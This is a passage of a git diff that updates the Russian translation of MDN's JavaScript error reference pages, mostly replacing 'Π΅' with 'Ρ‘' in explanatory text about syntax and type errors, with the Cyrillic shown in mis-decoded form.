ΠΏΠΎΠΌΠΎΡ‰ΠΈ <code>let</code>.</p>
+<p>Одно ΠΈ Ρ‚ΠΎ ΠΆΠ΅ имя ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ сначала использовано Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Π° ΠΏΠΎΡ‚ΠΎΠΌ объявлСно Π΅Ρ‰Ρ‘ Ρ€Π°Π· Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° присваивания <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code>. Π’ JavaScript Π½Π΅ допустимо ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π² Ρ€Π°ΠΌΠΊΠ°Ρ… области видимости Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ»ΠΈ Π±Π»ΠΎΠΊΠ° ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ <code>let</code>.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -34,7 +34,7 @@ SyntaxError: Identifier "x" has already been declared (Chrome)
// SyntaxError: redeclaration of formal parameter "arg"
</pre>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ "arg" Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, это ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π½ΠΎ для этого Π½Π΅ трСбуСтся ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ эту ΠΆΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Π΅Ρ‰Π΅ Ρ€Π°Π·. Π˜Π½Π°Ρ‡Π΅ говоря, ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>let</code> ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ. Если ΠΆΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΅Π΅ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Ρ‚ΡŒ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΠ½Π° вступаСт Π² ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ с ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ "arg" Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, это ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π½ΠΎ для этого Π½Π΅ трСбуСтся ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ эту ΠΆΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Π΅Ρ‰Ρ‘ Ρ€Π°Π·. Π˜Π½Π°Ρ‡Π΅ говоря, ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>let</code> ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ. Если ΠΆΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΅Ρ‘ ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Ρ‚ΡŒ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΠ½Π° вступаСт Π² ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ с ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
<pre class="brush: js example-good">function f(arg) {
arg = 'foo';
diff --git a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
index 28c0df1add..91cedeb38d 100644
--- a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
+++ b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
@@ -60,7 +60,7 @@ var list = ["potatoes", "rice", "fries"];</pre>
<h3 id="ОбновлСниС_старых_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²">ОбновлСниС старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</h3>
-<p>НапримСр, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ старый Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΅Ρ‰Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° функция <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code> ΠΈΠ»ΠΈ <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/class">class</a></code>, Π²Π°ΠΌ слСдуСт ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, которая ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ языковыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
+<p>НапримСр, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ старый Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΅Ρ‰Ρ‘ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° функция <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code> ΠΈΠ»ΠΈ <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/class">class</a></code>, Π²Π°ΠΌ слСдуСт ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, которая ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ языковыС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
<pre class="brush: js">"use strict";
class DocArchiver {}
diff --git a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
index 48917edbc1..9f76e774c7 100644
--- a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
+++ b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
@@ -23,7 +23,7 @@ SyntaxError: Illegal 'use strict' directive in function with non-simple paramete
<p>ΠŸΠ΅Ρ€Π΅Π²ΠΎΠ΄:</p>
<pre class="syntaxbox">Edge:
-НС удаСтся ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ строгий Ρ€Π΅ΠΆΠΈΠΌ ΠΊ функциям со списком, содСрТащим слоТныС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹
+НС удаётся ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ строгий Ρ€Π΅ΠΆΠΈΠΌ ΠΊ функциям со списком, содСрТащим слоТныС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹
Firefox:
Ошибка синтаксиса: "use strict" Π½Π΅ допускаСтся Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ
@@ -74,7 +74,7 @@ function sum(a = 1, b = 2) {
<h3 id="Ѐункция_выраТСния">Ѐункция выраТСния</h3>
-<p>Π’Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±Ρ…ΠΎΠ΄Π½ΠΎΠΉ ΠΏΡƒΡ‚ΡŒ:</p>
+<p>Π’Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±Ρ…ΠΎΠ΄Π½ΠΎΠΉ ΠΏΡƒΡ‚ΡŒ:</p>
<pre class="brush: js example-bad">var sum = function sum([a, b]) {
// SyntaxError: "use strict" Π½Π΅ допускаСтся Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ дСструктурирования
diff --git a/files/ru/web/javascript/reference/errors/unexpected_token/index.html b/files/ru/web/javascript/reference/errors/unexpected_token/index.html
index 52b6bca2de..62f6dd9db2 100644
--- a/files/ru/web/javascript/reference/errors/unexpected_token/index.html
+++ b/files/ru/web/javascript/reference/errors/unexpected_token/index.html
@@ -25,7 +25,7 @@ SyntaxError: expected '=&gt;' after argument list, got "x"
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>ВмСсто ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ конструкции языка Π±Ρ‹Π»ΠΎ использовано Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, просто ΠΎΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠ°.</p>
+<p>ВмСсто ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ конструкции языка Π±Ρ‹Π»ΠΎ использовано Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, просто ΠΎΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠ°.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -39,7 +39,7 @@ SyntaxError: expected '=&gt;' after argument list, got "x"
// SyntaxError: expected expression, got ';'
</pre>
-<p>ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ±Ρ€Π°Ρ‚ΡŒ Π·Π°ΠΏΡΡ‚ΡƒΡŽ ΠΈΠ»ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅:</p>
+<p>ΠŸΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ±Ρ€Π°Ρ‚ΡŒ Π·Π°ΠΏΡΡ‚ΡƒΡŽ ΠΈΠ»ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅:</p>
<pre class="brush: js example-good">for (let i = 0; i &lt; 5; ++i) {
console.log(i);
diff --git a/files/ru/web/javascript/reference/errors/unexpected_type/index.html b/files/ru/web/javascript/reference/errors/unexpected_type/index.html
index c8ccbe028f..43015841f0 100644
--- a/files/ru/web/javascript/reference/errors/unexpected_type/index.html
+++ b/files/ru/web/javascript/reference/errors/unexpected_type/index.html
@@ -25,7 +25,7 @@ TypeError: "x" is not a symbol
<p>ВстрСчСн Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ. Π­Ρ‚ΠΎ часто случаСтся со значСниями {{jsxref("null")}} ΠΈΠ»ΠΈ {{jsxref("undefined")}}.</p>
-<p>Π’Π°ΠΊ ΠΆΠ΅, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{jsxref("Object.create()")}} ΠΈΠ»ΠΈ {{jsxref("Symbol.keyFor()")}}, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ прСдоставлСн.</p>
+<p>Π’Π°ΠΊ ΠΆΠ΅, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{jsxref("Object.create()")}} ΠΈΠ»ΠΈ {{jsxref("Symbol.keyFor()")}}, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ прСдоставлСн.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -39,7 +39,7 @@ var foo = null;
foo.substring(1); // TypeError: foo is null
-// НСкоторыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ
+// НСкоторыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ
var foo = {}
Symbol.keyFor(foo); // TypeError: foo is not a symbol
diff --git a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html
index 0c950c014e..c4f442f49e 100644
--- a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html
+++ b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html
@@ -18,7 +18,7 @@ SyntaxError: Π½Π΅ΠΏΡ€Π΅Π΄Π²ΠΈΠ΄Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΎΠΊΠ΅Π½ ( [Chrome]
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло нС Ρ‚Π°ΠΊ?</h2>
-<p>Π’ ΠΊΠΎΠ΄Π΅ Π΅ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ function, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ трСбуСтся имя. Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ Π½ΡƒΠΆΠ½ΠΎ Π»ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ для Π½ΠΈΡ… имя, ΠΈΠ»ΠΈ Ссли рассматриваСмая функция Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, {{Glossary("IIFE")}}, ΠΈΠ»ΠΈ Ссли ΠΊΠΎΠ΄ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ Π² этом контСкстС.</p>
+<p>Π’ ΠΊΠΎΠ΄Π΅ Π΅ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ function, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ трСбуСтся имя. Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈ Π½ΡƒΠΆΠ½ΠΎ Π»ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ для Π½ΠΈΡ… имя, ΠΈΠ»ΠΈ Ссли рассматриваСмая функция Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, {{Glossary("IIFE")}}, ΠΈΠ»ΠΈ Ссли ΠΊΠΎΠ΄ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²ΠΎΠΎΠ±Ρ‰Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ Π² этом контСкстС.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -38,7 +38,7 @@ SyntaxError: Π½Π΅ΠΏΡ€Π΅Π΄Π²ΠΈΠ΄Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΎΠΊΠ΅Π½ ( [Chrome]
return 'Hello world';
};</pre>
-<p>Или, ваша функция Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для IIFE (Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, которая запускаСтся, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°. Π’ этом случаС Π²Π°ΠΌ понадобится Π΅Ρ‰Π΅ нСсколько Π±Ρ€Π΅ΠΊΠ΅Ρ‚ΠΎΠ²:</p>
+<p>Или, ваша функция Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для IIFE (Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, которая запускаСтся, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°. Π’ этом случаС Π²Π°ΠΌ понадобится Π΅Ρ‰Ρ‘ нСсколько Π±Ρ€Π΅ΠΊΠ΅Ρ‚ΠΎΠ²:</p>
<pre class="brush: js example-good">(function () {
diff --git a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
index ea9aca3e65..dd817a5407 100644
--- a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
+++ b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
@@ -1,5 +1,5 @@
---
-title: 'SyntaxError: unterminated string literal(Π½Π΅Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΉ строковый Π»ΠΈΡ‚Π΅Ρ€Π°Π»)'
+title: 'SyntaxError: unterminated string literal(Π½Π΅Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½Ρ‹ΠΉ строковый Π»ΠΈΡ‚Π΅Ρ€Π°Π»)'
slug: Web/JavaScript/Reference/Errors/Unterminated_string_literal
translation_of: Web/JavaScript/Reference/Errors/Unterminated_string_literal
---
@@ -34,7 +34,7 @@ SyntaxError: нСзадСйствованный строковый Π»ΠΈΡ‚Π΅Ρ€Π°Π
<pre class="brush: js example-bad">var longString = 'Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ длинная строка, которая нуТдаСтся
Β  Β  Β  Β  Β  Β  Β  Β  Β  пСрСнос Ρ‡Π΅Ρ€Π΅Π· нСсколько строк, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ
Β  Β  Β  Β  Β  Β  Β  Β  Β  Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΌΠΎΠΉ ΠΊΠΎΠ΄ Π½Π΅Ρ‡ΠΈΡ‚Π°Π΅ΠΌ.";
-// SyntaxError: Π½Π΅Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΉ строковый Π»ΠΈΡ‚Π΅Ρ€Π°Π»</pre>
+// SyntaxError: Π½Π΅Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½Ρ‹ΠΉ строковый Π»ΠΈΡ‚Π΅Ρ€Π°Π»</pre>
<p>ВмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€+, ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ ΠΊΠΎΡΡƒΡŽ Ρ‡Π΅Ρ€Ρ‚Ρƒ ΠΈΠ»ΠΈ Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ шаблона. Π’Π°Ρ€ΠΈΠ°Π½Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° + выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
@@ -50,7 +50,7 @@ SyntaxError: нСзадСйствованный строковый Π»ΠΈΡ‚Π΅Ρ€Π°Π
Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΌΠΎΠΉ ΠΊΠΎΠ΄ Π½Π΅Ρ‡ΠΈΡ‚Π°Π΅ΠΌ.";
</pre>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ-ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Π½Ρ‹Π΅ Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ Π² срСдах ECMAScript 2015:</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ-ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Π½Ρ‹Π΅ Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ Π² срСдах ECMAScript 2015:</p>
<pre class="brush: js example-good">var longString = `Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ длинная строка, которая нуТдаСтся
Β  Β  Β  Β  Β  Β  Β  Β  Β  Π² пСрСносС Ρ‡Π΅Ρ€Π΅Π· нСсколько строк, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ
diff --git a/files/ru/web/javascript/reference/errors/var_hides_argument/index.html b/files/ru/web/javascript/reference/errors/var_hides_argument/index.html
index 91953a36c8..5b7c3d1f8e 100644
--- a/files/ru/web/javascript/reference/errors/var_hides_argument/index.html
+++ b/files/ru/web/javascript/reference/errors/var_hides_argument/index.html
